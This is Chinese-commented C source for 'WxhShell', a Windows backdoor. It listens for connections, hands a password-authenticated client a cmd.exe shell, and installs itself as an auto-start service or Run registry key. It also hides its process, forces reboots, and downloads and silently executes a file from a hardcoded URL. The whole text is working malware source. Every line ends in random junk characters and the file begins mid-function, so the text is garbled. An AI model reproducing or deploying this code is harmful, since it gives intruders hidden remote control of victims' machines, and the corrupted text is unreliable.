    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 26j<>>2  
    else { Q"&Mr+  
    closesocket(wsh); $_.t'8F  
    ExitThread(0); h@%Xy(/m'  
    } $)M3fZ$#  
    break; [q9B" @X  
    } B;9,Qbb  
  // 获取shell #h;   
  case 's': { +x%u?ZR  
    CmdShell(wsh); 4(L mjue]?  
    closesocket(wsh); tYjG8P#  
    ExitThread(0); o}AXp@cqi  
    break; # -'A =j  
  } ('&lAn  
  // 退出 {Ze Y:\G~  
  case 'x': { 65LtCQ }  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m\>gOTpA4  
    CloseIt(wsh); |1@O>GG  
    break; ]Uv,}W  
    } b31$i 5{  
  // 离开 7By7F:[b  
  case 'q': { pCKP{c=6Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OUulG16kK  
    closesocket(wsh); KXt8IMP_"y  
    WSACleanup(); Z=Y29V8  
    exit(1); d.&_j`\F  
    break; 5:@bNNX'j  
        } XFhH+4#]  
  } ,3:f4e\<  
  } :2/L1A)O  
";/]rwHa)  
  // 提示信息 H!;N0",]N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'w:ugb9]  
} 7 A0?tG  
  } i c{I  
{~apY,3  
  return; m H:Un{,  
} S1=P-Ao  
A'EI1_3{  
// shell模块句柄 OX"Na2-el  
int CmdShell(SOCKET sock)  ai 4k?  
{ {6u)EJ  
STARTUPINFO si; R}oN8  
ZeroMemory(&si,sizeof(si)); I_1?J* b4k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w:zo \  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;@; a eu  
PROCESS_INFORMATION ProcessInfo; ;+75"=[YT  
char cmdline[]="cmd"; ?+}Su'pv}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VxY]0&sq  
  return 0; 9B~&d(Bm  
} ,i_+Z |Ls  
{\>4)TA  
// 自身启动模式 qGX@mo({  
int StartFromService(void) Jt$YSp=!!  
{ Le#srr  
typedef struct qT?{}I  
{ !Yc:yF  
  DWORD ExitStatus; (aYu[ML  
  DWORD PebBaseAddress; 9d1km~  
  DWORD AffinityMask; xh;gAh5n  
  DWORD BasePriority; wH"9N+82M  
  ULONG UniqueProcessId; -'c qepC{T  
  ULONG InheritedFromUniqueProcessId; APl]EV" l  
}   PROCESS_BASIC_INFORMATION; her>L3G-E  
7nPg2K&  
PROCNTQSIP NtQueryInformationProcess; bg~CV&]M  
i&DbZ=n2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DVd8Ix<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fV+a0=Z  
[>NMuwtG  
  HANDLE             hProcess; -#I]/7^  
  PROCESS_BASIC_INFORMATION pbi; )B]"""J  
LB@<Q.b,U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r (m3"Xu6O  
  if(NULL == hInst ) return 0; 1tbA-+  
+kWWx#L#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4$^mLD$>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rQzdHA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Nd(3q]{  
]Q FI>  
  if (!NtQueryInformationProcess) return 0; M XW1 :  
'n h^;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Op0*tj2i),  
  if(!hProcess) return 0; cPcH 8Vd  
,LZA\XC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1*A^v  
9{(q[C5m  
  CloseHandle(hProcess); zgFL/a<  
9ug4p']  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yoGG[l2k>s  
if(hProcess==NULL) return 0; \asn^V@"zz  
DD/B\  
HMODULE hMod; VMABj\yG  
char procName[255]; `BZ|[ q3  
unsigned long cbNeeded; -f?  
iUz?mt;k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nHF66,7t  
In4VS:dD  
  CloseHandle(hProcess); BoT#b^l  
}alq~jY  
if(strstr(procName,"services")) return 1; // 以服务启动 >Ec;6V e  
xw{K,; WeO  
  return 0; // 注册表启动 (6/aHSXI  
} F u5zj\0J  
!hJ!ck]M  
// 主模块 *_YH}U  
int StartWxhshell(LPSTR lpCmdLine) KHP/Y {mH  
{ .0,G4k/yv  
  SOCKET wsl; 2iKteJ@h)  
BOOL val=TRUE; t[;-gi,,  
  int port=0; WUau KRR.  
  struct sockaddr_in door; v~x`a0  
p+ReQ.5|  
  if(wscfg.ws_autoins) Install(); cRs\()W  
^KD1dy3(  
port=atoi(lpCmdLine); ]Ky`AG`2~  
#"oLz"{  
if(port<=0) port=wscfg.ws_port; Qn$YI9t  
C/ VHzV%q  
  WSADATA data; l ?b*T#uIk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; % dtn*NU  
G_qt~U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;>/Mal  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _9"ZMUZ{  
  door.sin_family = AF_INET; oNYFbZw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f/z]kfgw  
  door.sin_port = htons(port); @-0mE_$[  
hKh ad8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w('}QB`xad  
closesocket(wsl); \PZ;y=]p}  
return 1; pm9sI4S  
} +BM[@?"hrh  
*'?V>q,  
  if(listen(wsl,2) == INVALID_SOCKET) { uMm`j?Y23q  
closesocket(wsl); 3 QXsr<  
return 1; Ik, N/[  
} ?ecR9X k  
  Wxhshell(wsl); ve"tbNL  
  WSACleanup(); @K S.H  
*6][[)(  
return 0;  `wIWK7i  
F( /Ka@  
} zRgGSxn  
zgGJ<=G.  
// 以NT服务方式启动 ^Nds@MR{8'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O`!XW8  
{ oV9{{  
DWORD   status = 0; ,y-!h@(  
  DWORD   specificError = 0xfffffff; UHk)!P>  
xFIzq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s^.tj41Gx}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B@z ng2[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Hj1?c,mo4  
  serviceStatus.dwWin32ExitCode     = 0; n``9H 91  
  serviceStatus.dwServiceSpecificExitCode = 0; JSylQ201  
  serviceStatus.dwCheckPoint       = 0; 0k_3]Li=(  
  serviceStatus.dwWaitHint       = 0; hhWy-fP#  
)p#L"r^)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m$hkmD|  
  if (hServiceStatusHandle==0) return; !,Cbb }  
B>S>t5$  
status = GetLastError(); 8df| 9E$  
  if (status!=NO_ERROR) \J#&]o)Y  
{ *5XOYb?'v.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p)z#%BY56  
    serviceStatus.dwCheckPoint       = 0; u(hJyo}  
    serviceStatus.dwWaitHint       = 0; {,(iL8,^  
    serviceStatus.dwWin32ExitCode     = status; I\M }Dxpp  
    serviceStatus.dwServiceSpecificExitCode = specificError; II=!E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OwNo$b]h`  
    return; sk:B; .z  
  } Brd9"M|d  
t.\Pn4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o9C# 5%9  
  serviceStatus.dwCheckPoint       = 0; amX1idHo^  
  serviceStatus.dwWaitHint       = 0; Nq6; z)$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |TQ4:P1T  
} e^x%d[sU  
M ' %zA;Wl  
// 处理NT服务事件,比如:启动、停止 V[Sj+&e&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d.Ccc/1-  
{ _7qa~7?f  
switch(fdwControl) >lyE@S sA  
{ #W.vX=/*  
case SERVICE_CONTROL_STOP: 1_;{1O+B  
  serviceStatus.dwWin32ExitCode = 0; Lm<WT*@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0%q H=do6  
  serviceStatus.dwCheckPoint   = 0; *XYp~b  
  serviceStatus.dwWaitHint     = 0; oIj -Y`92!  
  { =}I=s@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9%"\s2T  
  } 9d( M%F  
  return; je3Qq1  
case SERVICE_CONTROL_PAUSE: ( *K)D$y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m6}_kzFz  
  break; x;/dSfv_  
case SERVICE_CONTROL_CONTINUE: \!w |  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qzO5p=}  
  break; Tdz#,]Q   
case SERVICE_CONTROL_INTERROGATE: BnDCK@+|Q  
  break; :>_oOn[_  
}; l]Ym)QP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y7I\<JG<  
} OjG`s-91&  
CBpwtI>p  
// 标准应用程序主函数 ^|hVFM2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _ yDDPuAi  
{ [ gZR}E  
I36%oA  
// 获取操作系统版本 5v`lCu]  
OsIsNt=GetOsVer(); %3"U|Za+   
GetModuleFileName(NULL,ExeFile,MAX_PATH); cnw+^8  
lk R^2P  
  // 从命令行安装 )~ &gBX  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0_Elxc  
5~im.XfiVx  
  // 下载执行文件 j+q)  
if(wscfg.ws_downexe) { nII#uI /!q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f5{|_]q]  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2m*/$GZ  
} o1*P|.`  
2+C:Em0yI  
if(!OsIsNt) { DnG9bVm>  
// 如果时win9x,隐藏进程并且设置为注册表启动 n6M#Xc'JA  
HideProc(); F+ RE  
StartWxhshell(lpCmdLine); =K|#5p`  
} 2i !\H$u`  
else &5z9C=]e  
  if(StartFromService()) L$+_  
  // 以服务方式启动 ?U O aqcL  
  StartServiceCtrlDispatcher(DispatchTable); `_i|\}tl  
else v<<ATs%w  
  // 普通方式启动 | WTWj  
  StartWxhshell(lpCmdLine); Yo=$@~vN]  
261? 8&c  
return 0; EE`[J0 (  
} ?E}gm>  
W\5 -Yg(@  
aSxDfYN=R  
PlK3;  
=========================================== cR,'aX  
{.[EXMX  
#b:YY^{g_  
SD:`l<l  
3^-R_  
}m%&|:PH  
" oOAkwc%)b  
nHQ *#&$  
#include <stdio.h> sDTw</@  
#include <string.h> Gm9  
#include <windows.h> *tk=DsRW  
#include <winsock2.h> fo`R=|L[  
#include <winsvc.h> h(J$-SUs  
#include <urlmon.h> |:4?K*w",  
7N@[Rtv  
#pragma comment (lib, "Ws2_32.lib") 6A|XB3  
#pragma comment (lib, "urlmon.lib") +RR6gAma}<  
?*r%*CL  
#define MAX_USER   100 // 最大客户端连接数 BA@M>j6d  
#define BUF_SOCK   200 // sock buffer GM1.pVb  
#define KEY_BUFF   255 // 输入 buffer f&$;iE  
&)JoB  
#define REBOOT     0   // 重启 8;c\} D  
#define SHUTDOWN   1   // 关机 UJ%.KU%Q}  
{Oq8A.daJ  
#define DEF_PORT   5000 // 监听端口 e{Vn{.i,5  
I>vU;xV\m  
#define REG_LEN     16   // 注册表键长度 f7!48,(fB  
#define SVC_LEN     80   // NT服务名长度 X eY[;}9  
,aBy1K  
// 从dll定义API Q=vo5)t   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I|K!hQ"m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,`!lZ| U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z8%qCq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F9r/ M"5  
ad47 42  
// wxhshell配置信息 -%P}LaC <  
struct WSCFG { ;;XY&J  
  int ws_port;         // 监听端口 ZGI<L  
  char ws_passstr[REG_LEN]; // 口令 =2DK?]K;  
  int ws_autoins;       // 安装标记, 1=yes 0=no c&wiTvRV  
  char ws_regname[REG_LEN]; // 注册表键名 |M t2  
  char ws_svcname[REG_LEN]; // 服务名 %H&WihQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |;t{L^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p[At0Gc L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !O}e)t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^;( dF<?'r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x%goyXK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ].aFdy  
02%~HBS  
}; F^%\AA]8  
?MmQ'1N  
// default Wxhshell configuration Y"KJ`Rx  
struct WSCFG wscfg={DEF_PORT, 8\:>;XG6f  
    "xuhuanlingzhe", LikCIO  
    1, T"C.>G'[B  
    "Wxhshell", 3vAP&i'I  
    "Wxhshell", :"Tkl$@,  
            "WxhShell Service", hu"-dT;4]  
    "Wrsky Windows CmdShell Service", 5rCJIl.  
    "Please Input Your Password: ", /-^J0f+l3  
  1, Bz>f  
  "http://www.wrsky.com/wxhshell.exe", @"/H er  
  "Wxhshell.exe" On!+7is'  
    }; '/9MN;_  
upZc~k!1\  
// 消息定义模块 KD+&5=Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AGS(ud{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ePv`R'#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b2[U3)|oO  
char *msg_ws_ext="\n\rExit."; kjdIk9 Y  
char *msg_ws_end="\n\rQuit."; P ecZuv  
char *msg_ws_boot="\n\rReboot..."; F6Q%<p a  
char *msg_ws_poff="\n\rShutdown..."; P0OMu/  
char *msg_ws_down="\n\rSave to "; 7^M$u\a)U  
eX}aa0  
char *msg_ws_err="\n\rErr!"; t:P]bp^#  
char *msg_ws_ok="\n\rOK!";  < ]+Mdy  
}0@@_Y]CC  
char ExeFile[MAX_PATH]; =ONM#DxH  
int nUser = 0; 8@S]P0lk  
HANDLE handles[MAX_USER]; =-GxJ PL  
int OsIsNt; ZHeq)5C ;f  
F9% +7Op^  
SERVICE_STATUS       serviceStatus; !T ,=kh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8<C@I/  
h?B1Emlq  
// 函数声明 Q2woCx B  
int Install(void); _!Tjb^  
int Uninstall(void); bXXX-Xc  
int DownloadFile(char *sURL, SOCKET wsh); F  Qk  
int Boot(int flag); 2DJg__("  
void HideProc(void); :(yu t  
int GetOsVer(void); Fi;OZ>;a  
int Wxhshell(SOCKET wsl); K4]ZVMm/*  
void TalkWithClient(void *cs); %VR{<{3f  
int CmdShell(SOCKET sock); 3Zyv X]@_  
int StartFromService(void); 9(z) ^ G  
int StartWxhshell(LPSTR lpCmdLine); 7w8UnPuM  
n$7*L9)(C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -m>3@"q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fB,eeT1v?h  
OU#p^ 5K  
// 数据结构和表定义 W$;qhB  
SERVICE_TABLE_ENTRY DispatchTable[] = ~$j;@ 4  
{ 1n7'\esC*  
{wscfg.ws_svcname, NTServiceMain}, x FM^-`7  
{NULL, NULL} 34k>O  
}; cTRtMk%^  
shy[>\w  
// 自我安装 &N6[*7  
int Install(void) 1=,2i)  
{ *o:J 4'  
  char svExeFile[MAX_PATH]; LayK&RwL  
  HKEY key; N'aq4okoL  
  strcpy(svExeFile,ExeFile); (&r` l&0  
'wMvO{}$  
// 如果是win9x系统,修改注册表设为自启动 En\q. 3 5  
if(!OsIsNt) { G{>PYLxOb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OW@)6   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J=: \b  
  RegCloseKey(key); "X;5* 4+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UF }[%Sa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IhZn  
  RegCloseKey(key); 2e-bt@0t  
  return 0; U/cj_}uX  
    } ST?Rl@4  
  } zb"4_L@m2  
} yqL"YD  
else { !~R<Il|B  
e?B}^Dk0i  
// 如果是NT以上系统,安装为系统服务 p8@&(+z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ']I!1>v$[  
if (schSCManager!=0) o,c}L9nvt  
{ pnz:<V"Y(  
  SC_HANDLE schService = CreateService yE,qLiH  
  ( |K{ d5\_  
  schSCManager, AJ& j|/  
  wscfg.ws_svcname, qq<T~^  
  wscfg.ws_svcdisp, p8)R#QWz9  
  SERVICE_ALL_ACCESS, ^ +@OiL>&i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V.qH&FJ=l  
  SERVICE_AUTO_START, xf,A<j (o  
  SERVICE_ERROR_NORMAL, w $-q&  
  svExeFile, G}+@C]  
  NULL, 8HJ,6Lr;  
  NULL, i '*!c  
  NULL, jn(!6\n"  
  NULL,  8 zlvzp  
  NULL <DR! AR)  
  ); "M[&4'OM  
  if (schService!=0) 4'*.3f'bp  
  { 5XB]p|YU~s  
  CloseServiceHandle(schService); .Tq8Qdl  
  CloseServiceHandle(schSCManager); ITqAy1m@C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V]+y*b.60  
  strcat(svExeFile,wscfg.ws_svcname); 9s[   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "JLE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |?Edk7`  
  RegCloseKey(key); 8M,@Mb n  
  return 0; $':5uU1}  
    } A[7H-1-  
  } z[<Na3]  
  CloseServiceHandle(schSCManager); U5~aG!E  
} ,]:< l  
} (?^F }]  
rXMc0SPk  
return 1; H? Q--pG8  
} `L7^f!  
fKr_u<|  
// 自我卸载 lZ[J1:%  
int Uninstall(void) ~1}fL 1~5  
{ w6X:39d  
  HKEY key; (}>)X]  
oi,KA  
if(!OsIsNt) { Et(H6O 8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O#18a,o@  
  RegDeleteValue(key,wscfg.ws_regname); .$W}  
  RegCloseKey(key); G/},lUzLg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G<<; a  
  RegDeleteValue(key,wscfg.ws_regname); q. Jx|x  
  RegCloseKey(key); uM\\(g}  
  return 0; lemV&$WN|  
  } HpIi-Es7C  
} biS[GyQ  
} @d|Sv1d%  
else { JBJ?|}5k4c  
_xi &%F/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7_qsVhh]$E  
if (schSCManager!=0) =1R 2`H\  
{ 2 YWO'PL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^OIo  
  if (schService!=0) >.od(Fh{l|  
  { w_@{v wM$A  
  if(DeleteService(schService)!=0) { ~'0n ]Fw  
  CloseServiceHandle(schService); Et-|[ eL  
  CloseServiceHandle(schSCManager); 4]0:zS*O  
  return 0; mr G?5.7W  
  } DO*6gzW  
  CloseServiceHandle(schService); 1pDU}rPJ.  
  } *dBmb  
  CloseServiceHandle(schSCManager); <zvtQ^{]  
} iWr #H  
} u^E0u^  
+`Nu0y!rj  
return 1; Bd=K40Z:  
} %'e$N9zd  
B= E/|J</  
// 从指定url下载文件 wG)[Ik6:  
int DownloadFile(char *sURL, SOCKET wsh) { 6qxg_{  
{ }{:}K<  
  HRESULT hr;  (yd(ZY  
char seps[]= "/"; 7zE1>.  
char *token; l,b,U/3R.  
char *file; tq'hiS(b  
char myURL[MAX_PATH]; :KG=3un]  
char myFILE[MAX_PATH]; 40].:9VG  
,f,+)C$  
strcpy(myURL,sURL); w?nSQBz$  
  token=strtok(myURL,seps); \vV]fX   
  while(token!=NULL) 4Jc~I  
  { OT|0_d?bD  
    file=token; z%+rI  
  token=strtok(NULL,seps); <^KW7M}w*c  
  } d*k5h<jM  
P()W\+",n  
GetCurrentDirectory(MAX_PATH,myFILE); oVbs^sbRH  
strcat(myFILE, "\\"); Y|hd!C-x  
strcat(myFILE, file); a x;<idC}  
  send(wsh,myFILE,strlen(myFILE),0); !~'D;Jh  
send(wsh,"...",3,0); 5i'?oXL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -}oH],C  
  if(hr==S_OK) a#CjGj)  
return 0; 0Db=/sJ>  
else x 00'wY|  
return 1; ,`a8@  
XA.1Y)  
} 3?_%|;ga  
*L*{FnsV  
// 系统电源模块 i7YUyU  
int Boot(int flag) f qWme:x  
{ E|_8#xvb  
  HANDLE hToken; yn(bW\  
  TOKEN_PRIVILEGES tkp; Wk/Q~ o  
g@/}SJh/>  
  if(OsIsNt) { {]m/15/$C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T4ugG?B*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JHZjf7g$k  
    tkp.PrivilegeCount = 1; q?]KZ_a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2* T Ir  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K g.O2F77  
if(flag==REBOOT) { ,->5 sJ{U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4:b'VHW.  
  return 0; itiSZL,  
} pSYEC,0B  
else { #a tL2(wJ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V;J3lV<  
  return 0; akCCpnX_d  
} =9p3^:S  
  } =kK%,Mr  
  else { v|]"uPxH?  
if(flag==REBOOT) { D,=#SBJ:Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lU$0e09  
  return 0; Qr6PkHU  
} Pl`Nniy  
else { NB.'>Sar  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "}-S%v`)z  
  return 0; +/M%%:>mY  
} g\IwV+iDf  
} U+E9l?4R  
yO7#n0q  
return 1; S>j.i  
} o Qo5y_o~  
N:+d=G`x  
// win9x进程隐藏模块 M&Ln'BC  
void HideProc(void) WoNY8 8hT  
{ }*qj,8-9  
6'<[QoW];  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y"m(hs $  
  if ( hKernel != NULL ) 88?O4)c  
  { {5d 5Y%&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); aS\$@41"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F=#V/ #ia  
    FreeLibrary(hKernel); N qz6_!  
  } fd>&RbUp  
)t\aB_ =  
return; v#X#F9C  
} cKoW5e|u  
N0NFgW;  
// 获取操作系统版本 'lu3BQvfh  
int GetOsVer(void) Qj(ppep\U"  
{ E7aG&K  
  OSVERSIONINFO winfo; P$*Ngt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); apfr>L3  
  GetVersionEx(&winfo); R*S:/s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +"k?G  
  return 1; x.] tGS  
  else _jg tZ  
  return 0; '!,(G3  
} DGS,iRLnA  
lNWP9?X  
// 客户端句柄模块 ha 2=O  
int Wxhshell(SOCKET wsl) {B6ywTK\ `  
{ zZ<*  
  SOCKET wsh; r`h".=oD  
  struct sockaddr_in client; DL!%Np?`  
  DWORD myID; J1~E*t^  
K' <[kh:cl  
  while(nUser<MAX_USER) O7uCTB+  
{ p?4[nS-,  
  int nSize=sizeof(client); ;YW@ 3F-h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WjM7s]ZRv  
  if(wsh==INVALID_SOCKET) return 1; j:/Z_v'  
D>HbJCG4^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [ K'gvLt1  
if(handles[nUser]==0) mdEl CC0  
  closesocket(wsh); c$tX3ug6I  
else ['sNk[-C  
  nUser++; 1<_/Qu>V  
  } }^p<Y5{b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vZ.<OD4  
1+XM1(|c`  
  return 0; 9n;6zVV%`  
} /@\R  
:2,NKdD  
// 关闭 socket SPt/$uYJ  
void CloseIt(SOCKET wsh) Qx8(w"k*  
{ V %D1Q}X  
closesocket(wsh);  [)~1Lu  
nUser--; bcpsjUiy#  
ExitThread(0); 6yMZ2%  
} ~ A=Gra  
7Zd g314  
// 客户端请求句柄 P*~ vWYH9  
void TalkWithClient(void *cs) }f?[m&<  
{ k{N!}%*2  
UXJblo#  
  SOCKET wsh=(SOCKET)cs; v:yU+s|kN  
  char pwd[SVC_LEN]; : MjDcI~  
  char cmd[KEY_BUFF]; _6ck@  
char chr[1]; q#8yU\J|,  
int i,j; J@6j^U  
#vga qe9  
  while (nUser < MAX_USER) { =|ODa/2 p  
^7YNM<_%@  
if(wscfg.ws_passstr) { kROIVO1|`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 18QqZ,t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]77f`<q<}!  
  //ZeroMemory(pwd,KEY_BUFF); :/$WeAg  
      i=0; S)j( %g  
  while(i<SVC_LEN) { 8(L2w|+B<  
n-l_PhPQ`  
  // 设置超时 6uFw+Ya#  
  fd_set FdRead; +,LWyvc'  
  struct timeval TimeOut; [X!w@d= i  
  FD_ZERO(&FdRead); OoH-E.lp  
  FD_SET(wsh,&FdRead); Q!V:=d  
  TimeOut.tv_sec=8; Z/ jmi  
  TimeOut.tv_usec=0; p'2IlQ\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2HN*j~>i~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2tpuv(H;  
^4^N}7>5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d!0rq4v7  
  pwd=chr[0]; ~o"=4q`>  
  if(chr[0]==0xd || chr[0]==0xa) { ~h;   
  pwd=0; `Y4Kw  
  break; 6Jb0MX"AVr  
  } (b<0=U   
  i++; E(|A"=\  
    } j_N<aX  
i l@>b  
  // 如果是非法用户,关闭 socket Jl`^`Yv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /[FDiJH2  
} W wPzm?30  
ge GhM>G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;6[6~L%K}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {Fw"y %a^  
/ta}12Z  
while(1) { U\?D;ABQ%  
BL16?&RK  
  ZeroMemory(cmd,KEY_BUFF); o&E8<e  
-?)^ hbr  
      // 自动支持客户端 telnet标准   e>Z&0lV:  
  j=0; 06f%{mAZS  
  while(j<KEY_BUFF) { Y|fD)zG_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B=a+cT  
  cmd[j]=chr[0]; -|#{V.G3'  
  if(chr[0]==0xa || chr[0]==0xd) { _) x{TnK  
  cmd[j]=0; ^rVHaI  
  break; Mu[lk=jC  
  } bt)C+|i  
  j++; KQNQ<OE 4  
    } h{^v756L  
s;OGb{H7  
  // 下载文件 E.Xp\Dm71  
  if(strstr(cmd,"http://")) { <WZ{<'ajI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V&nB*U&s"  
  if(DownloadFile(cmd,wsh)) ,Zn6T"[$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $45|^.b  
  else 0NU%z.(%s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,6;n[p"h|r  
  } \s*UUODWK  
  else { U*=E(l  
1,+<|c)T?  
    switch(cmd[0]) { W:RjWn@<  
  KBB)xez8  
  // 帮助 @@o J@;  
  case '?': { /=p[k^A  
